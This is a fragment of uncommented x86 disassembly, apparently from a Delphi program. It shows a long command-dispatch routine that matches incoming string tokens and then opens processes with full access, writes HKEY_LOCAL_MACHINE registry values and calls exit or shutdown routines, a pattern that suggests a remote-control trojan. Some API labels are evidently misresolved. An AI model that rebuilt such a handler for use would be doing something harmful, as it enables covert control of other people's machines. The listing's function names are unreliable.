mov eax, dword [ebp - 4]
call fcn.00491bd1
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490331
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48e16d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8284]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8284]
mov edx, 0x490255
call fcn.00405241
jne 0x48e203
xor eax, eax
push ebp
push 0x48e1ec
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00492c21
lea ecx, [ebp - 0x30]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00491bd1
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490331
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48e1f6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8288]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8288]
mov edx, 0x490349
call fcn.00405241
jne 0x48e28c
xor eax, eax
push ebp
push 0x48e275
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004925f5
lea ecx, [ebp - 0x30]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00491bd1
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490331
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48e27f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x828c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x828c]
mov edx, 0x490355
call fcn.00405241
jne 0x48e315
xor eax, eax
push ebp
push 0x48e2fe
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00492e61
lea ecx, [ebp - 0x30]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00491bd1
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490331
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48e308
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8290]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8290]
mov edx, 0x490361
call fcn.00405241
jne 0x48e39e
xor eax, eax
push ebp
push 0x48e387
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004929f1
lea ecx, [ebp - 0x30]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00491bd1
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490331
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48e391
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8294]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8294]
mov edx, 0x49036d
call fcn.00405241
jne 0x48e3f4
lea eax, [ebp - 0x30]
call fcn.0048b675
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x4901d1
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8298]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8298]
mov edx, 0x490379
call fcn.00405241
jne 0x48e465
lea ecx, [ebp - 0x829c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x829c]
lea edx, [ebp - 0x30]
call fcn.0048cd6d
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x49023d
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x82a0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82a0]
mov edx, 0x490385
call fcn.00405241
jne 0x48e4c3
call fcn.0048be3d
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.0048bb69
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x4901f5
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x82a4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82a4]
mov edx, 0x490391
call fcn.00405241
jne 0x48e594
xor eax, eax
push ebp
push 0x48e54e
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0048be3d
lea ecx, [ebp - 0x82a8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82a8]
call fcn.004095bd
push eax
push 0xffffffffffffffff
push 0x1f0fff
call sub.user32.dll_IsZoomed
mov ebx, eax
lea eax, [ebp - 0x28]
push eax
push ebx
call sub.user32.dll_GetKeyNameTextA
mov eax, dword [ebp - 0x28]
push eax
push ebx
call sub.user32.dll_RegisterClassA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48e558
push 0x12c
call fcn.0040e5fd
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.0048bb69
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x4901f5
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x82ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82ac]
mov edx, 0x49039d
call fcn.00405241
jne 0x48e5ed
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.0048c145
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490211
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x82b0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82b0]
mov edx, 0x4903a9
call fcn.00405241
jne 0x48e698
xor eax, eax
push ebp
push 0x48e65c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0x10
lea ecx, [ebp - 0x82b4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82b4]
call fcn.004095bd
push eax
call fcn.00407b89
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48e666
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.0048c145
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490211
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x82b8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82b8]
mov edx, 0x4903b5
call fcn.00405241
jne 0x48e73b
xor eax, eax
push ebp
push 0x48e6ff
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea ecx, [ebp - 0x82bc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82bc]
call fcn.004095bd
push eax
call fcn.00407c49
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48e709
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.0048c145
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490211
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x82c0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82c0]
mov edx, 0x4903c1
call fcn.00405241
jne 0x48e7de
xor eax, eax
push ebp
push 0x48e7a2
push dword fs:[eax]
mov dword fs:[eax], esp
push 5
lea ecx, [ebp - 0x82c4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82c4]
call fcn.004095bd
push eax
call fcn.00407c49
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48e7ac
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.0048c145
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490211
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x82c8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82c8]
mov edx, 0x4903cd
call fcn.00405241
jne 0x48e881
xor eax, eax
push ebp
push 0x48e845
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea ecx, [ebp - 0x82cc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82cc]
call fcn.004095bd
push eax
call fcn.00407891
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48e84f
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.0048c145
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490211
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x82d0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82d0]
mov edx, 0x4903d9
call fcn.00405241
jne 0x48e924
xor eax, eax
push ebp
push 0x48e8e8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xffffffffffffffff
lea ecx, [ebp - 0x82d4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82d4]
call fcn.004095bd
push eax
call fcn.00407891
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48e8f2
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.0048c145
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490211
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x82d8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82d8]
mov edx, 0x4903e5
call fcn.00405241
jne 0x48e95d
call fcn.004891cd
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x82dc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82dc]
mov edx, 0x4903f1
call fcn.00405241
jne 0x48e996
call fcn.00489209
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x82e0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82e0]
mov edx, 0x4903fd
call fcn.00405241
jne 0x48ea07
lea eax, [ebp - 0x30]
mov edx, dword [0x499be4]
mov edx, dword [edx]
call fcn.00404ecd
cmp dword [ebp - 0x30], 0
jne 0x48e9e0
lea eax, [ebp - 0x30]
mov edx, 0x490409
call fcn.00404ecd
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490421
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x82e4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82e4]
mov edx, 0x490431
call fcn.00405241
jne 0x48ea91
xor eax, eax
push ebp
push 0x48ea50
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x499be4]
call fcn.00404e35
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48ea5a
lea eax, [ebp - 0x30]
mov edx, dword [0x499be4]
mov edx, dword [edx]
call fcn.00404ecd
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x49043d
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x82e8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82e8]
mov edx, 0x49044d
call fcn.00405241
jne 0x48eb24
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.0048beb9
cmp dword [ebp - 0x30], 0
jne 0x48eafd
lea eax, [ebp - 0x30]
mov edx, 0x490459
call fcn.00404ecd
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x4901b9
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490249
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x82ec]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82ec]
mov edx, 0x490469
call fcn.00405241
jne 0x48ebff
xor eax, eax
push ebp
push 0x48eb89
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x82f0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x82f0]
xor eax, eax
call fcn.004718f9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48eb93
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.0048beb9
cmp dword [ebp - 0x30], 0
jne 0x48ebd8
lea eax, [ebp - 0x30]
mov edx, 0x490459
call fcn.00404ecd
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x4901b9
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490249
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x82f4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82f4]
mov edx, 0x490475
call fcn.00405241
jne 0x48ecda
xor eax, eax
push ebp
push 0x48ec64
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x82f8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x82f8]
xor eax, eax
call fcn.004719e5
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48ec6e
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.0048beb9
cmp dword [ebp - 0x30], 0
jne 0x48ecb3
lea eax, [ebp - 0x30]
mov edx, 0x490459
call fcn.00404ecd
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x4901b9
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490249
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x82fc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82fc]
mov edx, 0x490481
call fcn.00405241
jne 0x48ee87
xor eax, eax
push ebp
push 0x48ee11
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x42a6bd]
call fcn.0042a7bd
mov dword [ebp - 0x2c], eax
xor eax, eax
push ebp
push 0x48ee00
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000002
mov eax, dword [ebp - 0x2c]
call fcn.0042a85d
lea ecx, [ebp - 0x8304]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x8304]
lea eax, [ebp - 0x8300]
mov edx, 0x49048d
call fcn.00405141
mov edx, dword [ebp - 0x8300]
mov cl, 1
mov eax, dword [ebp - 0x2c]
call fcn.0042a9a1
test al, al
je 0x48ede2
lea ecx, [ebp - 0x8308]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8308]
call fcn.004095bd
sub eax, 1
jb 0x48eda8
je 0x48edbc
dec eax
je 0x48edd0
jmp 0x48ede2
mov ecx, 2
mov edx, 0x4904b9
mov eax, dword [ebp - 0x2c]
call fcn.0042af9d
jmp 0x48ede2
mov ecx, 3
mov edx, 0x4904b9
mov eax, dword [ebp - 0x2c]
call fcn.0042af9d
jmp 0x48ede2
mov ecx, 4
mov edx, 0x4904b9
mov eax, dword [ebp - 0x2c]
call fcn.0042af9d
mov eax, dword [ebp - 0x2c]
call fcn.0042a82d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48ee07
mov eax, dword [ebp - 0x2c]
call fcn.00404061
ret
lea ecx, [ebp - 0x830c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x830c]
mov edx, 0x4904c9
call fcn.00405241
jne 0x48ef60
xor eax, eax
push ebp
push 0x48eeea
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8310]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8310]
call fcn.00471c2d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48eef4
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.0048beb9
cmp dword [ebp - 0x30], 0
jne 0x48ef39
lea eax, [ebp - 0x30]
mov edx, 0x490459
call fcn.00404ecd
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x4901b9
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490249
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8314]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8314]
mov edx, 0x4904d5
call fcn.00405241
jne 0x48efd7
xor eax, eax
push ebp
push 0x48efcd
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8318]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8318]
call fcn.004095bd
mov ecx, eax
mov dl, 1
mov eax, dword [0x4880fd]
call fcn.00488605
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48efd7
lea ecx, [ebp - 0x831c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x831c]
mov edx, 0x4904e1
call fcn.00405241
jne 0x48f033
xor eax, eax
push ebp
push 0x48f029
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov dl, 1
mov eax, dword [0x4880fd]
call fcn.00488605
call fcn.00488649
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48f033
lea ecx, [ebp - 0x8320]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8320]
mov edx, 0x4904ed
call fcn.00405241
jne 0x48f078
mov eax, dword [ebp - 4]
call fcn.0048b859
push 0
push 6
call fcn.004078b9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8324]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8324]
mov edx, 0x4904f9
call fcn.00405241
jne 0x48f11b
xor eax, eax
push ebp
push 0x48f0dd
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8328]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8328]
lea ecx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.00493175
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48f0f4
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x490325
mov eax, dword [ebp - 4]
call fcn.0048b971
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x832c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x832c]
mov edx, 0x490529
call fcn.00405241
jne 0x48f160
mov eax, dword [ebp - 4]
call fcn.0048b859
push 0
push 0xc
call fcn.004078b9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8330]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8330]
mov edx, 0x490535
call fcn.00405241
jne 0x48f2c3
xor edx, edx
push ebp
push 0x48f228
push dword fs:[edx]
mov dword fs:[edx], esp
lea ecx, [ebp - 0x8334]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8334]
push eax
lea ecx, [ebp - 0x8338]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8338]
call fcn.004095bd
push eax
lea ecx, [ebp - 0x833c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x833c]
call fcn.004095bd
push eax
lea ecx, [ebp - 0x8340]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x8340]
mov dl, 1
mov eax, dword [0x48680d]
call fcn.0048688d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48f232
lea eax, [ebp - 0x30]
mov edx, 0x4901b9
call fcn.00404ecd
lea edx, [ebp - 0x8344]
mov eax, dword [ebp - 0x30]
call fcn.0046afd1
mov edx, dword [ebp - 0x8344]
lea eax, [ebp - 0x30]
call fcn.00404ecd
mov ecx, 0x4901ad
lea eax, [ebp - 0x8348]
mov edx, dword [ebp - 0x30]
call fcn.00405141
mov edx, dword [ebp - 0x8348]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea edx, [ebp - 0x30]
mov eax, 0x490541
call fcn.0046afd1
mov ecx, 0x4901ad
lea eax, [ebp - 0x834c]
mov edx, dword [ebp - 0x30]
call fcn.00405141
mov edx, dword [ebp - 0x834c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8350]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8350]
mov edx, 0x490551
call fcn.00405241
jne 0x48f3d4
xor eax, eax
push ebp
push 0x48f3ca
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8354]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8354]
call fcn.004095bd
push eax
lea ecx, [ebp - 0x8358]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
